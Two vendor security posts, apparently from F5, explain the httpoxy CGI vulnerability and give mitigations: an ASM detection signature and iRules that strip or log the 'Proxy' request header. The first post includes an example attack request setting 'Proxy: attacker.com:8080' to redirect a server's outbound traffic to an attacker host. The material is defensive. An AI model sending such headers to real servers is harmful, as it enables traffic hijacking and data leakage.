httpoxy CGI Vulnerability ASM Mitigation
A major vulnerability in the CGI platform has been disclosed today, dubbed httpoxy. The vulnerability was actually discovered 15 years ago in libwww-perl, and was fixed at the time. However, various currently used libraries have been found to be vulnerable even today. CGI Protocol-Specific Meta-Variables RFC3875 describes the process of CGI setting system-wide environment variables based on user requests. CGI takes any custom header found in the requests, converts it to upper case, appends the string “HTTP_” to it, and sets it as an environment variable. For example, the following request to a server that runs CGI: GET /index.html HTTP/1.0 Host: example.com Foo: Bar Will have the following environment variable set on the server: HTTP_FOO=”Bar” The HTTP_PROXY Environment Variable A local server on a well-segregated corporate network is often blocked to outgoing HTTP traffic directly, and uses a proxy with high security settings in order to reach servers outside of corporate network. Many popular and common programs (such as wget, curl, elinks, lynx and more) use the HTTP_PROXY environment variable as part of their configuration. This variable specifies the address of the proxy server the program should use in order to communicate with the outside world. Exploiting The Weakness By using the information learned so far, it’s easy to understand the disclosed vulnerability. The following request will overwrite the HTTP_PROXY environment variable on the server, or simply set it if it doesn’t exist: GET /cgi-bin/script.pl HTTP/1.0 Host: victim.com Proxy: attacker.com:8080 The result of this action will send outgoing traffic from the server to the attacker server. Assuming the server is on a well-segregated network, the communication will be blocked by corporate firewall and simply cause Denial-of-Service on the server. In the worst case, where the server actually has communication privileges to the outside world – Information leakage of sensitive data will be possible. ASM Mitigation Using ASM signatures it’s possible to easily mitigate this vulnerability. A user-defined signature can be created to block all attempts of httpoxy exploitation attempts, with regards to the “Proxy” header. The user-defined signature should be created as such: headercontent:"Proxy:"; nocase; re2:"/^\s*Proxy:/Hmi"; An ASM security update (ASU) containing this signature is expected to release later this week.
HTTPoxy - AGAIN??!!??
This ugly vulnerability, first discovered 15 years ago, has reared it’s head, AGAIN. Visit https://httpoxy.org/ for more details on this vulnerability. Luckily, it is a quick and easy mitigation if that traffic is visible to the F5. Here are two quick fixes. DISCLAIMER: Please make sure you understand the scope of your change before making either of the suggested changes below. These will very likely NOT cause any issues. From the HTTPOxy.org site: "The best immediate mitigation is to block Proxy request headers as early as possible, and before they hit your application. This is easy and safe. It’s safe because the Proxy header is undefined by the IETF, and isn’t listed on the IANA’s registry of message headers. This means there is no standard use for the header at all; not even a provisional use-case." OPTION 1: Add “Proxy” to the Request Header Erase field in the HTTP profile: OPTION 2: Use this simple iRule to remove the header in requests: when HTTP_REQUEST { if { [HTTP::header exists "Proxy"] }{ HTTP::header remove "Proxy" } } Additionally, if you are running F5's Web Application Firewall, ASM, you can configure a custom violation and write an irule to "raise" that violation so that you have visibility into this vulnerability from within your ASM logs. Here are the steps for version 12.x (some of these options are in a different place in the GUI in earlier versions): 1. Create a new violation under Security ›› Options : Application Security : Advanced Configuration : Violations List 2. Create the following irule and associate it to the virtual(s) in question: when ASM_REQUEST_DONE { # See if the Proxy header exists if { [HTTP::header exists "Proxy"] }{ #Proxy header exists so let's save it's value to log in the violation details set proxy_val [HTTP::header value "Proxy"] #Remove the Proxy header. A good idea whether the policy or violation is in blocking mode or not. HTTP::header remove "Proxy" #Raise the ASM violation including the value of the Proxy header. "HTTPoxy" must match custom violation name exactly. ASM::raise HTTPoxy $proxy_val } } 3. Make sure to enable that custom violation on the policy(s) in question. In 12.x this is under Security ›› Application Security : Policy Building : Learning and Blocking Settings: -Joe Martin Security Specialist Engineer F5 Networks
